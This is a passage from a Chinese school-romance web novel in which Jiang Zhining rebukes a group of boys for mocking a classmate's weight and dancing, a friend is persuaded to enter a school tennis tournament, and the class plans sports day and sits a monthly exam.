姜织宁问：“哪天拍的视频？” 朱恬：“周六晚上拍的，我那天晚上走得早，没来得及录。” 姜织宁懂了，拿出手机：“那加个微信吧，一会儿我找找传给你。” 啊就就……就这么加微信了吗？ 朱恬没反应过来，懵懵看着姜织宁。 她心中犹豫，细声细气商量说：“会不会太打扰了？如果不方便的话，发邮箱也可以的。” 姜织宁：“我没问题，你不方便是吗？” “不是不是。”女生连忙摆手，解释，“我是担心你的微信比较隐私，怕你不方便啦。” 姜织宁会意笑起来：“没关系啊，能加。” 闻言，朱恬欣喜拿出手机。 加上微信，改好备注，姜织宁随口问：“过来吃晚饭？” 朱恬笑着点头：“嗯，主要是来买柠檬桂花乌龙茶，要排队等好久啊。” “你排几号？” “我看看哦，是136号。” “那我们差不多。”姜织宁收起手机，笑指了下面包店，“没事的话，我先进去了？” 朱恬冲她挥了挥手：“嗯嗯，宁王拜拜。” 柠檬桂花乌龙茶清爽好喝，又是季节限定，所以奶茶店门口总能看到不少附中学生。 奶茶店旁边开了家面馆，正值晚饭时间，生意尤其好，店里人满为患，位子不够坐，老板便在店门外摆了几张简易桌椅。 几名附中男生大剌剌坐到门外吃面。 中途，其中一人坐不住，第N次猴急起身，跑去隔壁奶茶店看了眼叫号情况，叹气回来，无语说：“哎服了，我面都吃完了，奶茶还没做好！” 同伴问：“前面还有多少号？” “十几吧。” “那快了，又不着急回去，坐这儿等着就是。” “无聊啊，又没美女看，不是说江中美女很多吗，我怎么没看到呢。” 男生百无聊赖四处张望，忽然间，他发现视线不远处，有个穿附中校服的女生低头朝奶茶店走来。 他定睛瞧了眼，勾起唇角，推了下身边人，示意对方抬头看。 周胜扬按灭手机，随意放到桌上，懒洋洋说：“干嘛？” 男生指着女生，嬉皮笑脸：“胜扬快看，是不是暗恋你那胖妹？” 周胜扬漫不经心瞥了眼，朱恬正好看向他，两人目光对上，朱恬整个人一僵，心慌意乱，立马低头看地。 他不在意笑了笑，女生好像是隔壁班的，有点印象。 听见有八卦，同伴放下筷子，感兴趣抬头：“哪呢？快让我瞅瞅，是哪个妹子暗恋咱们扬哥。” 男生下巴朝前指了下：“矮个子，穿校服那个圆脸胖妹。” 同伴很快认出人，说：“哟，这不是隔壁班朱恬嘛，怎么着，她喜欢扬哥啊？” 男生笃定讲：“绝对的，我都在球场上见过她好几次了，专门来看胜扬打球。” 同伴打量朱恬几眼，嘶声说：“也没有很胖吧，我怎么觉得她瘦了。” 男生挑眉，不赞同道：“这还不胖啊，你要不要看看她才多高，脸也圆，跟大脸猫似的，胜扬你觉得呢？” 周胜扬刷着手机，没搭话，毫无兴趣关心不相干的人。 男生笑嘻嘻说：“算了，都不用问他，我们胜扬历任女友哪个不是肤白貌美大长腿，他想法绝对和我一样。” 周胜扬勾唇笑起来，算是默认。 同伴忽然想起一事，接话说：“我说朱恬怎么看着瘦了，她最近好像在音暴学街舞。” “街舞？”男生忍不住嘲笑问，“为了减肥吗？” “那不知道。” “现在学街舞有什么意义啊？有什么用？能干嘛？” “这种都要从小学，现在学肯定晚了啊，主打一个浪费时间，没用的。” “我跟你们说，她肯定减不下来的。” “哦，你又懂了。” “那是，你们没看过网上那个经典笑话吗？说有个胖子为了减肥去跳舞，结果半年过去，人一斤没瘦，最后变成了柔软的胖子。” “哈哈哈哈，神他妈柔软的胖子！” “哈哈哈哈哈哈哈，笑死！有用有用，至少柔软了嘛，哈哈哈哈！” “行啊胜扬，朱恬为你跳舞减肥，就说感不感动吧！” “哈哈，反正我感动了。” “太励志了，哈哈哈哈！” 包括周胜扬，一桌男生肆无忌惮笑闹成一团，也不管朱恬有没有听见。 …… 姜织宁在面包店里解决掉晚饭，出门走向旁边文具店，挑选记错题的活页本。 “周导，你活页本用完了吗？” 周静瑶忙着看视频，头也不抬地说：“还有，不用给我买。” 挑好东西，收银台结账，接着去奶茶店拿饮料。 隔着大老远，姜织宁就听见了男生们的笑声和闲聊。 无比聒噪。 “我去谁啊，都笑成猪叫了！” 周静瑶关掉手机，不爽抬眸，看到是周胜扬那帮人，眼睛里顿时流露出不屑，嘲道：“哟，这不是姓周那舔狗吗。” 放肆大笑时，周胜扬率先发现姜织宁身影，他愣了愣，连忙收起笑容，轻咳一声，摆出最帅坐姿。 同伴们瞄见姜织宁慢悠悠走过来，也纷纷止笑，兴奋低语起来。 “哎哎！姜织宁！是姜织宁！” “卧槽，她也太美了吧，这才是真女神啊！” “早知道就应该考江中。” “你考得上吗？” 所有追求者里，姜织宁对周胜扬的印象最深刻，因为他狗皮膏药一样的纠缠。 周胜扬是附中高二生，长挺帅，在学校人气挺高，父母做生意，算是富二代。 高一的时候，他就明目张胆追求姜织宁，也不搞情书这种小儿科，出手相当阔绰，就砸钱，直接给她送很贵的礼物。 被姜织宁拒绝过几次后，周胜扬也不气馁，死装深情，依旧主动得很。 他得知姜织宁在音暴学街舞，好几次跑去机构等她下课，堪称狗皮膏药当代典范，甩都甩不掉。 后来周胜扬谈了个本校女友，才放弃明面上的追求，这人本性就是个浪子，人品恶劣，女朋友三个月一换，集邮似的。 姜织宁不傻，很清楚周胜扬并没有多么喜欢她，他目的不纯，和很多人一样，单纯看中她的名气，新鲜感作祟，想谈个童星女友，以此对外炫耀显摆。 …… 朱恬背对着周胜扬，神情低落，僵硬站在奶茶店角落。 男生们刚才嘲笑她的那些话，她都听见了。 她的确喜欢周胜扬，但她从来不敢和他说话，不敢和他表白，只敢在背后默默关注他，自卑又敏感。 周胜扬没怎么参与评头论足，附和笑了几声，即便如此，笑声刺耳，仿佛无数把尖刀落下，将她的脆弱心脏捅成了筛子。 朱恬脸色苍白，指尖紧紧攥着衣角。 她无助地往角落阴影处躲，尽量避免男生们有意无意间扫来的不友善视线。 奶茶店员：“136号！” 没人回应。 店员抬高嗓门，又吼了声：“136号顾客在吗！桂花乌龙茶好了！” 朱恬这才反应过来，弱弱抬手说：“我我的。” 店员走过来递给她，察觉到小姑娘脸色不太对劲，便多嘴关心一句：“你没事吧？” “没没事。” “拿好了啊。” 朱恬轻轻嗯了声，快速接过奶茶，低头就走。 “朱恬——” 女生走到店门口，忽然听见有人叫她名字，她愣愣抬头。 姜织宁微笑走到朱恬身前，淡淡瞥了眼狗皮膏药男，下一秒，目光回到女生脸上，笑盈盈说：“视频已经发给你了，你有空看下对不对。” “啊好。”朱恬讷讷点头。 姜织宁从纸袋里拿出一个巧克力面包，递给她：“这个特别好吃，你要不要尝尝看。” 看朱恬犹豫不决，周静瑶帮忙说了句：“真的很好吃，咱们宁王可是资深巧克力脑袋，信她准没错。” 面包是扁圆形的，表面裹了层厚厚的巧克力脆皮，两面用彩色糖霜装饰出卡通笑脸图案。 因为笑脸，原本平平无奇的面包瞬间形象鲜活了起来，让人看着唇角上扬。 朱恬沉默盯着笑脸，深深吸了口气，她极力压住心中那股酸涩，弯唇接过，轻声细语说：“谢谢。” 姜织宁笑起来：“下次有机会，我们一起上课。” 朱恬怔了怔，用力点头：“嗯，好！” 两人说话的时候，刚才嘲笑朱恬的那帮附中男生一直在互相使眼色，满脸懵逼。 什么情况啊，朱恬居然认识姜织宁？？？ 周胜扬有丝意外地看着朱恬。 紧接着，姜织宁收起笑脸，转身看向狗皮膏药男，平静喊了声：“周胜扬。” 周胜扬没想到姜织宁会主动叫自己，愣了两秒才反应过来，他上半身稍稍坐直，嗓音紧张：“啊啊？” “你知道我在学街舞吧？”姜织宁问他。 周胜扬点头。 姜织宁云淡风轻地说：“我学街舞呢，也没其他想法，就是为了以后跳广场舞有资格站第一排，想问问你啊，你觉得这个意义大不大？” 周胜扬：“” 跳广场舞？ 这是女神说的话吗？ 附中男生们目瞪口呆看着姜织宁。 周围人来人往，不少学生朝周胜扬投来八卦视线。 江中和附中挨得很近，因此，两校学生对隔壁“友校”的情报还是比较清楚的，尤其是有关帅哥美女的八卦。 周胜扬长得不赖，家里有钱，当初明目张胆追姜织宁很久，现任女友又是江中某位高二女生，所以江中这边挺多人知道他。 姜织宁走路上回头率一向高，这会儿她主动和周胜扬说话，回头率更高了，不少人等着吃瓜呢。 谁知道，姜织宁一开口就是嘲讽。 八卦方向偏了，但没关系，仍是一出好戏。 旁边有人不客气笑出声，几道暗中观察的讽刺视线钉在周胜扬身上。 周胜扬对此感到很冤枉。 他知道姜织宁在刻意针对，针对刚才同伴所嘲笑的—— 现在学街舞有什么意义？有什么用？能干嘛？ 可这话又不是他说的，他就笑了几下好吗！ 想到这，周胜扬冷冷斜了眼身边瞎搞事的男生，男生心虚扭头看向别处。 姜织宁催了句：“你怎么不说话？” 周胜扬干笑两声，回道：“挺挺好的。” 她点点头，顺手接过周静瑶递来的桂花乌龙茶，接着问：“你是不是帮朱恬付街舞课程费了？” 怎么可能！ 周胜扬心想，他都没和朱恬说过话。 “我可没有啊！”他立马否认。 姜织宁轻飘飘哦了声：“所以，人家几岁学街舞和你有什么关系？要你嘴碎瞎操心？你家住海边啊，还是虾兵蟹将转世啊，这么喜欢管天管地管空气。” 妈呀，宁王也太幽默了吧！ 周静瑶噗嗤一声，手搭上姜织宁肩膀，歪头斜睨着这群嘴碎男生，当场不客气大笑起来。 “哈哈哈哈哈，虾虾兵蟹将转世这形容简直绝了，笑死我了！” “不是我”周胜扬神情尴尬极了。 姜织宁直言不讳地说：“好心劝你一句，知道有些女生喜欢你，不指望你抱有什么感谢，但也别太得意忘形了，否则容易遭雷劈，真的，不用谢。” 周胜扬：“” 临走前，姜织宁目光嫌弃，撂了句：“知道尊重两个字怎么写吗？不会说话就闭嘴，我家狗叫都比你好听。” 周胜扬：“”【你现在阅读的是 】 40-50 第41章 你真是世界驰名双标！ 校网球场。 金乌缓慢下沉, 空旷球场被阳光分割成两半，一半阴影，一半光明, 人声渐弱，打网球的人陆续收拾东西离开。 “怎么样啊柯同学, 这次的校网球联赛，有没有兴趣参加？” 学校体育组组长李老师结束交谈, 笑眯眯看着柯译衍，又一次特意过来询问。 柯译衍没兴趣, 神情平淡, 把球拍放进球包里, 换了个理由拒绝：“李老师，你找别人吧, 我不是校队的。” 俞杨一听，立马怂恿道：“哎哟, 入队还不简单嘛！就你这水平，直接填个入队申请表就完事, 压根不用做水平测试，是不是啊李老师！” 柯译衍瞬间皱了下眉, 不耐烦扫俞杨一眼, 有他什么事？ 李老师笑着点头：“当然, 我们江中网球队随时欢迎优秀球员加入。” 柯译衍没接话, 目无情绪看向别处，不知道在想什么。 李老师看了眼手表, 时间不早, 他还有事要忙，于是将手中的比赛报名表递给柯译衍, 劝道：“距离报名截止还有段时间，别这么果断，你再考虑考虑吧。” 俞杨积极替柯译衍接过来，猛拍胸脯，吹牛道：“放心吧李老师，我一定会说服他参加的！” “行啊，任务交给你了。”李老师笑拍了拍俞杨肩膀。 目送李老师离开，俞杨一回头，就发现柯译衍面无表情盯着他。 俞杨朝他递出报名表，嬉皮笑脸：“我说衍神啊，李老师都三顾茅庐了，你再考虑考虑呗，别拒绝的这么干脆嘛。” 那张A4纸，柯译衍看都懒得看一眼。 他眉眼沉冷，压着股脾气说：“你能不能安分点，别给我搞事情。” “我可没有搞事情啊！”俞杨举起双手，大呼冤枉，“要不是手腕受伤，我肯定会代表学校出征的！” 下个月月初，江洲市将举办一场全国中学生网球联赛。 由于是带着友谊性质的学校联赛，算是业余赛事，所以参赛条件很宽松，对参赛选手没有专业排名和积分方面的要求，只要是高中生，都可以代表学校报名参赛。 江洲中学正好是本届比赛的承办方，自家校男队女队都有报名。 尽管这场联赛没有积分可拿，但毕竟是为校争光嘛，江中的学生向来看重集体荣誉，所以俞杨第一时间就提交了报名表。 结果前几天，他在外面打球赛时，不幸伤了手腕，教练便让他好好休息一段时间，明令禁止他参加任何比赛。 其实他临时退赛也不算什么大事，名额空缺就空缺了，本来就是自愿报名，校方并不强制学生参赛。 因为像俞杨这样专业打网球的青少年运动员，为了自身的积分排名，为了奖金赞助，都在忙着参加国内外的专业网球赛事，基本不会参与没积分的业余赛。 也不知道俞杨私底下和李老师说了什么话，能让李老师主动上门找柯译衍好几次，说是俞杨退赛，学校这边空出来一个比赛名额，问柯译衍愿不愿意参加。 俞杨看柯译衍冷着脸，不为所动，便换了个方向劝。 “哎呀，咱们江中校训说得好——今天我以江中为荣，明天江中以我为荣！衍神你看啊，虽然你是转学生，但现在也是江中的一份子了，总不可能，身在曹营心在汉吧？” 柯译衍：“？” “我的意思是，这不就是学校以你为荣的时候吗！怎么样，要不要为母校热血一把？”俞杨又一次递出报名表，“再考虑考虑啊衍神，重在参与嘛，校友谊赛而已，又不是专业比赛咯。” “拿走。” 柯译衍并不领情，冷言拒绝 暮色四合，教学楼灯光成片亮起，无声昭告着小鸟们抓紧回班，晚自习时间到了。 上自习之前，姜织宁被班主任喊到办公室。 刘彬递给她一张志愿者报名表，还有两份赛事宣传手册。 他笑眯眯说：“十月初，学校会承办一场全国中学生网球联赛，在赛事期间，我们会邀请几位外籍职业网球运动员和外籍教练到校交流。” “所以，学校需要招募一些形象佳、英语交流能力不错的学生作为志愿者，主要负责联赛期间的接待和协调工作。算是一次锻炼机会，你是我们班英语课代表，有没有兴趣参加这次的志愿者活动？” 姜织宁之前参加过学校组织的类似活动，没什么意见，干脆点头，说可以。 刘彬又说：“网球联赛在十一假期的最后一天，也就是10月7号举行，志愿者需要提前一天回校准备。” 姜织宁确认问：“刘老师，是不是10月6号就要回学校了？” “对。”刘彬点头，笑说，“这个志愿者活动不强制，参不参加都行，主要看你意愿。这样，你先回去看看宣传手册，考虑下，确定要参加的话，就把表格填好交给我。” 姜织宁点头说好。 她拿上东西回班，刚坐到位置上，俞杨就急不可耐转身找她说话。 他肃然起敬看着姜织宁，尊敬道：“宁王，我听说傍晚时分，您在校外亲自手刃狗贼，狗贼敢怒不敢言，脸色比锅底还黑！” 姜织宁抬起头，迷茫啊了声：“狗贼？谁是狗贼？” 俞杨语气嘲弄：“就那个附中的周胜扬。” 姜织宁：“哦你怎么知道？” 他笑嘻嘻说：“现场吃瓜群众传信。” 这是什么好事不出门，坏事传千里 她问了句：“你也认识周胜扬？” “认识啊。”俞杨下巴冲柯译衍指了下，“衍神也认识，那狗贼也打网球，小时候和我俩一起集训过。” 这样吗，姜织宁略意外地瞥了眼柯译衍。 “不过狗贼水平很拉胯的，球技不行，耍帅倒是第一名，他现在已经不怎么打了，偶尔业余赛混混吧。” 俞杨一口一个狗贼，听得姜织宁忍不住笑了起来，她一边笑，一边把报名表宣传册放到桌上。 俞杨眼尖瞄见赛事宣传册，愣了愣，满脸震惊问：“宁王，你也要参加网球联赛？？？” 柯译衍目光顿住，偏头看向姜织宁。 姜织宁把表格推给他们看，顺便解释：“这是网球联赛的志愿者报名表，刘老师刚给的，让我先了解下。” 俞杨懂了：“原来是这样，那你要做志愿者吗？” “不出意外应该会参加。”姜织宁闲聊问，“这好像是江中第一次承办校网球联赛，你们报名了吗？” 俞杨表情惋惜地说：“我有手伤，教练不让我打球。” 话落，他看着姜织宁，微微举起报名表，状似不经意挡住脸，然后浮夸地歪嘴斜眼，两器官同时朝柯译衍那边无声示意。 什么意思？ 这是在暗示什么啊？ 姜织宁也没看明白，眨了眨眼，下意识按照俞杨指示，扭头望向柯译衍，好奇问：“你要参加吗？” 柯译衍刚要回不参加，就被俞杨抢先打断。 “宁王我和你说，我不是手伤参加不了比赛吗，这不就刚好空出一个名额。”俞杨跟告状似的，添油加醋控诉说，“李老师都主动找衍神好几次了，哇，这人冷血无情，各种拒绝！咱们身为江中学子，怎么可以没有集体荣誉感？宁王你厉害，快点骂醒他！” 柯译衍：“” 无法理解，人怎么可以这么嘴碎啊？ “就一个没积分的业余赛，”俞杨小声嘀咕，“和打职业没半毛钱关系，想这么多有的没的干嘛呢？也没人逼你回” 话说到一半，班长突然走过来，打断他说：“彬彬找你，叫你现在去他办公室，提醒你一声啊，彬彬脸色不太好看。” “坏了！”俞杨脸色一变，“肯定是教主向彬彬告状了！靠啊，教主太毒了” 他骂骂咧咧站起来，快步离去。 姜织宁不了解网球比赛，左手撑着脸颊，偏头目视柯译衍，虚心请教：“俞杨刚才说的，没积分的业余赛是什么意思啊？” 柯译衍淡声解释：“网球选手参加专业赛事是为了拿积分，积分越多，个人排名越靠前。像一些高级别赛事，尤其是国际比赛，通常对选手的世界排名有要求，低排名拿不到签位，没资格参加比赛。” “那比如四大满贯这种，积分是不是很高？”姜织宁有点懂了，反问道。 柯译衍轻挑了挑眉，显然有些意外她还知道四大满贯，弯唇说：“当然，级别越高的赛事，给的积分越多。” 他点了点姜织宁桌上的宣传册，“江中这次承办的网球联赛没有积分，性质上以学校友谊交流为主，虽然规模办挺大，本质上还是业余赛。” 这下姜织宁完全听明白了，会意说：“那这次的校网球联赛，不就和高中篮球联赛差不多嘛，主打一个为班争光，为校争光。” 柯译衍微微颔首：“可以这么说。” 姜织宁收回视线，垂眸翻看宣传册。 突然间，她注意到宣传册底部印着EQUA的logo，她惊讶咦了声，立马指给柯译衍看：“EQUA是赞助方？” 柯译衍没听说这回事，他接过宣传册看了眼，然后熟练翻到册子最后，找到赞助单位那部分，其中确实有EQUA的名字。 并没有感到意外，毕竟是运动品牌，他早就知道EQUA会定期赞助某些体育比赛。 柯译衍把宣传册还给姜织宁，淡淡嗯了声。 江中不仅社团种类丰富，各类大小比赛也很多，校方并不拘泥于学习上的科目竞赛，除此之外，体育、艺术方面的比赛平时也不少，有些是自娱自乐的内部比赛，有些是代表学校出征。 本来姜织宁以为这是专业比赛，毕竟联赛的名头是全国，而且，班主任说了会有外籍职业网球运动员到校交流。 在听完柯译衍刚才那番话后，她将这次的网球联赛归类进常规校园活动里。 于是，她像上次建议他参加社团纳新一样，单纯建议说：“那我觉得啊，你要没什么事的话就去参加一下，就当体验校园活动嘛，毕竟你打球这么厉害。” 姜织宁的建议很纯粹，没有参杂任何鸡汤成分，更没有压力之说，语气也无比稀松平常，仿佛让他按时吃饭，多喝水这么简单。 柯译衍沉默了下，平静问：“你看过我比赛？” “那没有。”她摇摇头，坦诚说，“李老师是体育组组长嘛，他都找你好几次了，这不就是最好的证明？我们学校的体育生挺厉害的，之前有好几个学长学姐被选进国家队。” 柯译衍没接话，目光淡落在宣传册上。 他早已决定放弃网球，放弃曾经计划打职业的目标，自然不会参加任何网球比赛，李老师找上门的时候，他直接拒绝了，想都没想，心不在此。 这时，视野里出现年级主任的身影。 大腹便便的中年男人负手站在走廊上，隔着窗户，暗中观察高二一班的学生有没有认真学习。 姜织宁立马垂下眼睫，装出认真看书的模样，直到余光瞄见主任离开，她才重新抬眼看向柯译衍。 她移动右手，拿笔轻点了点对方桌面。 “嗯？” 柯译衍回过神，低低应了声。 姜织宁轻声说：“姑姑前几天和我说，我们要多收藏青春期里闪闪发光的小美好，别错过它们，美好回忆是人生中独一无二的宝藏。” 她神情一本正经：“我想了想，觉得姑姑说的挺对。你想啊，一个是穿校服的年纪跳舞，一个是老了跳广场舞，两者比起来，心境确实会不一样，不都说老年人喜欢回忆想当年嘛。” 她有些忧愁地叹了口气：“所以啊，我得趁现在年纪轻，腿脚好，多跳舞，万一我以后退休坐轮椅，那就再也没有机会跳舞了。” “” 柯译衍被姜织宁说愣住，缓缓转头，不可思议看着她。 他困惑心想，不是心灵鸡汤时间吗，氛围怎么就一下子垮了？ 她现在才几岁啊，这就想到退休坐轮椅了？ 虽说早做打算是好事，但她会不会想的太早了点 柯译衍表情有点无语，姜织宁抿唇笑起来，回归正事，真心建议他：“我就是想说，有些校园活动，你还是去体验下比较好，别错过。” 作为朋友，她由衷的希望，柯译衍身上能少一点游离感。 下课铃响，姜织宁去办公室提交填好的志愿者报名报，她在走廊上碰到俞杨，主动叫住他，透露了几句刚才劝说柯译衍的事。 俞杨从班后门进来，途经柯译衍，忽然听见他平淡说了声：“报名表。” “干嘛？”俞杨滞了秒，最快速度冲到位子上，一边弯腰翻抽屉，一边痛骂道，“狗东西！你不会给我撕了吧？？？” 柯译衍懒散后靠向椅背，无语看着他：“叫你把报名表给我。” “想干什么，打劫啊？”俞杨把表格宝贝护在怀里，一脸警惕问。 柯译衍不耐烦皱眉，催促：“废什么话，给我看看。” 俞杨呆滞啊了声。 柯译衍懒得理他犯病抽风，直接倾身向前，从他手中抽走报名报。 俞杨犯起迷糊。 就没搞懂，晚饭前还嫌弃不要的人，现在突然主动问他要报名表是什么意思？ 他想了想，没想明白，小心翼翼试探说：“干什么啊你，该不会是打算为校争光吧？突然热血起来了？” 明知不可能，但还是要问问，万一呢。 柯译衍没正面回答，轻飘飘回了句：“有什么问题？” 俞杨猛然瞪大眼，整个人石化三秒后，部分器官奇迹活过来，他茫然眨了眨眼，不可置信确认说：“我亲爱的衍神，你你你你这是要参加网球联赛的意思？？？！！！” “再说。” 柯译衍注视着报名表，语气平淡。 俞杨瞬间激动吼出声—— “卧槽你都拿表格了！！！” “还整什么死出再说！！！” “快给我上啊啊啊啊！！！” 柯译衍：“” 惊喜来得太突然，好在俞杨智商在线，并没有被惊喜冲昏头脑。 离谱！ 这前后反差太离谱了！！！ 他仔细想了想缘由，突然反应过来，面无表情质问：“不是，我死命劝你参加，你无情拒绝，宁王那边随便说几句，你就为她改变态度？！” “靠！你是不是对我有意见！！！” 柯译衍眼神闪了下，平静说：“没有。” 俞杨：“你有！” 俞杨愤愤不平，气道：“嘤！你们双A组怎么回事啊，居然还搞起排外，我是什么外人吗！” “” 无理取闹，无中生有。 柯译衍无语盯着精神病突发的人，冷声说：“哦，你说参加就参加，我不需要考虑是吧？” 俞杨根本不听他解释，冷哼骂道：“滚啊你！双标，你真的是世界驰名双标！” 第42章 别让我良心不安 临近九月底, 事情一下子多了起来。 先是月考，月考之后是秋季运动会，运动会结束后便是国庆长假。 高二一班是理科班, 男生稍微偏多，因此运动会报名压根不愁, 体育委员拿着项目表，挨个上门询问登记。 走到俞杨身边时, 体育委员故意打趣说：“要不要报个铅球啊，铅球还空着。” 俞杨猛翻白眼, 骂骂咧咧：“我手腕受伤啊大哥, 很脆弱的！报什么铅球, 想让我死就直说！” 体育委员哈哈大笑，把项目表拍他桌上：“自己挑好吧。” 俞杨勾选了几个用不到手的田径项目, 然后把表传给柯译衍，顺势凑到他旁边指指点点。 “铅球这种你可千万别给我报啊, 万一伤到手腕，那就完犊子了！” “运动会虽然重要, 但网球联赛更重要，咱不能捡了芝麻丢了西瓜！” “3000米也别报, 太长了, 没意义。” “100米、200米这种可以, 要么1500米以内挑几个短跑项目, 就当是赛前体能训练。” “我看跳远也行，跳高就算了。” “哎还是算了算了, 跳远也别报了, 万一伤到脚踝怎么办。” 俞杨啰里八嗦，嘴巴完全停不下来, 活像个老妈子，没说几句，柯译衍就听不耐烦了。 柯译衍将表格往旁边一推，皱眉看着俞杨，无语道：“你是不是住海边，有闲心管这么多。” 俞杨双手叉腰，理所当然地说：“我肯定要管啊！运动会之后就是网球联赛哎，那我不得盯着你吗，以防你在赛前出什么意外啊！” 柯译衍挑沉默了下，平静道：“我什么时候说要参加网球联赛了？” 俞杨倒吸气：“我靠！那你问我拿报名表干什么？？？” “看看不行？” “不行，你可别临时反悔啊！” “既然拿了表，就等同于报名成功！” “谁说的？” “你俞老师说的啊！怎么着，你要耍赖吗？！俞老师不准！！！” 两人打嘴仗时，姜织宁凑过去看项目表。 见状，柯译衍把表格往她面前推，“你先看？” 姜织宁正吃巧克力饼干，指尖沾了酱，摇摇头，嗓音含糊地说：“看好了，我手脏不方便写字，你帮我报个接力赛就行。” 柯译衍替她写上名字，问：“其他还有没有要报的？” 姜织宁：“其他不报，估计没时间，网球联赛那边挺多事情要忙，运动会期间我只能呆在后勤组帮忙了。” 柯译衍嗯了声。 运动会那三天，姜织宁真挺忙。 走方阵时，她要举牌，举完牌后立马换衣服，跟随校街舞队在开幕式上表演舞蹈。 最重要的是，网球联赛在十一假期的最后一天举行，所以假期之前志愿组有很多筹备工作要忙，她身为志愿者，运动会期间得兼顾网球联赛那边的安排。 运动会除了项目报名，班服也需要提前设计，全班通过投票后，高效率确定了班服款式。 纯白宽松棉短袖，款式非常简单常见，但印在衣服上的班级口号却非常嚣张，直接用了上双A组的形容词—— All Kill。 通杀。 一个不留。 很自信！很嚣张！ 彰显着，不搞花里胡哨的才是真大佬！ 当然，走方阵时的服装并不会这么简单。 毕竟对于高二年级来说，这是最后一届可以尽情享受的运动会，等到了高三，除了体育生，其他人都是来去匆匆，打打酱油，参加运动会主打一个放松心情，缓解学习压力。 因此，几位班干部经过讨论后，决定弄一个值得纪念的方阵主题。 一开始，大家各有各的想法，并没有商量出最终结果，某天中午，几个班委在学校食堂和姜织宁拼桌吃饭，期间听姜织宁无意提了嘴魔法师，众人突然灵感迸发，一致默契想到了哈利波特主题。 巫师、霍格沃茨、四大学院、魔杖、分院帽、黑魔法 几乎所有人都看过这部风靡全球的魔幻作品。 班长当即放下筷子，发表意见：“我觉得哈利波特的主题可以啊，寓意也不错，勇敢、正义、奇迹，象征我们每个人都是可以创造奇迹的魔法师，你们觉得怎么样？” “我投赞同票，我可是哈迷啊！巫师袍穿身上不要太酷！” 话落，宣传委员于佳同学眼神冷酷，拿筷子当魔杖，冲班长比划道：“Avada Kedavra！我是斯莱特林高二学姐！” 班长瞪大眼睛，作势倒地状，苟延残喘道：“你好毒居然对我阿瓦达索命！” 学习委员立马附和：“Incendio（火焰熊熊）！知识的掠夺者，那我是拉文克劳，算我一票！” 文艺委员：“我也投赞同票，走方阵时直接穿正装校服，外面披巫师袍，再拿根魔杖，宁王你觉得怎么样？” 姜织宁沉思片刻，笑着说：“全是巫师袍的话，视觉上会不会太暗了点？” 她建议道：“我觉得，男生穿四大学院巫师袍，女生可以换成布斯巴顿校服，道具换成丝带，走方阵时挥舞丝带，这样女生更亮眼些，参与感也更强，毕竟最后一届嘛，大家都漂漂亮亮比较好。” “对哦！我怎么忘了布斯巴顿！！！” 文艺委员猛然拍掌，一下子激动起来，满脸兴奋说：“好好好，四大学院你们自己争去吧！我和宁王独美，我们都是来自布斯巴顿的高贵学姐！” 众人纷纷笑起来。 文艺委员忍不住称赞：“宁王太牛太绝了，她这建议真的是顾全大局！布斯巴顿校服超级漂亮，咱们班女生穿上绝对惊艳全场！” 无人反对，于是班长一锤定音：“OK，方阵主题就这么定了，哈利波特！” 逐渐临近的运动会和十一长假令人兴奋雀跃，虽然还没放假，但小鸟们的心思早已飞向窗外，时不时讨论假期去哪里嗨。 形成强烈反差，月考就不那么受人欢迎了，虽说江中遍地是学霸，但学霸怎么了，学霸也不爱考试啊。 江中的月考考场排位通常按照上一个大考的年级排名来，以一班为考场起点，个人年级排名越靠后，对应的班级考场越后面。 这是高二年级开学以来的第一次月考，因此，考场排位以高一期末考排名为准。 姜织宁情况特殊，属于休学留级，并没有期末考成绩，所以考场被分到了高二年级最后一个班，最后一位。 也就是，本该年级倒数第一坐的风水宝位。 考试前需要清空考场，大家都很熟练了，重要物品锁储物柜，书本这些能放柜子就放归柜子，放不下就丢讲台周围，或着走廊上，随意得很。 月考第一天，姜织宁走进考场的那一瞬间，同班考生一致冲她露出震惊表情，集体呆滞看着她。 那些目光中，惊于校花美貌的成份并不多，主要是吃惊校花和他们一样吊车尾的成绩。 这个班的考生们自嘲吊车尾，其实也没有差到哪里去，都有翻身上一本的底子。 但是人嘛，就看和谁比，看处于什么样的环境，如果和外校比，那肯定身份大涨，指不定还能捞个学霸当当，但是和本校同学比，那不好意思，很现实很残酷，确实会沦为学渣。 毕竟江中的特产就是学霸，尤其是本部校区。 江中大考的成绩是不公开的，除了宣传栏上的光荣榜会公布年级排名前30的天之骄子们，其他人全由班主任单独发放纸质成绩条。 但是，学生们都知道每次大考都会分考场，考场位置按照个人年级排名排序，所以自然知道能坐去一班二班考试的人，那都是真神仙打架。 总而言之，根据考场排位，基本上能猜出考生的年级排名。 …… 吊车尾班响起几道窃窃私语。 “是姜织宁哎！” “我去，校花就是校花，真漂亮啊！” “可不是吗，哪怕素颜也是绝杀。” “什么情况啊，宁王居然和咱们一样吊车尾？” “啊这我听说女神成绩还不错啊，好像是上游水平吧，怎么来最后一个班了？” 这还没完。 眼睁睁看着姜织宁神色淡然，走向最后一排的角落座位后，众人更是目瞪口呆，惊掉下巴。 “晕那不是倒数第一坐的位子吗？？？” “怎么个意思，所以宁王是年级倒数第一？” “刺激刺激！这不就是校花变笑话吗！” “神经病啊你，笑什么笑话，不许侮辱我女神啊！” “你他妈自己就是年级倒数，还有脸笑话别人？少给我瞎扯乱七八糟，姜织宁是留级生，估计是因为没有期末考成绩，才排去最后一名！” “你这么说的话，倒是有可能哎！” 坐姜织宁前面的男生八卦扭头，调侃说：“宁王，你这可是第一风水宝座啊！” 姜织检查笔袋里的文具，顺势笑了笑，自嘲说：“是吧，倒数第一也是王，起义翻身好时机。” 男生愣了愣，没想到姜织宁会这么回他。 哈？ 怎么还作诗了呢，心态挺好啊。 这话显得她不仅幽默，心态也好，男生自动收起调侃神色，肃然起敬看着姜织宁，竖起大拇指称赞：“宁王霸气！宁王威武！” 开玩笑归开玩笑，他没忘记八卦，又说：“怎么会坐这里呢？咱们江中遍地学霸，你卷我更卷，想起义翻身可不容易啊。” 姜织宁知道他想问什么，直言说：“我没有期末考成绩。” 男生：“所以按照0分计算排名？” 姜织宁微微点头。 男生恍然大悟，笑说：“原来如此，吓我们一跳，还以为咱们校花真成年级倒数第一了。” 这时候，姜织宁瞄见监考老师走进班里，低声提醒：“老师来了。” 男生连忙转身。 月考总共两天，考场在一楼，自己班在顶楼，考试第一天姜织宁还愿意爬上爬下，到了第二天，她懒得爬楼，吃完午饭后直接回考场午休。 柯译衍作为年级排名前几的大佬，不用去别的考场，就在一班考试，午饭吃完回班，他走向自己座位，弯腰拿东西。 此时，姜织宁的位子上坐着位眼镜女生，和前桌一样，两人都是隔壁2班的学霸。 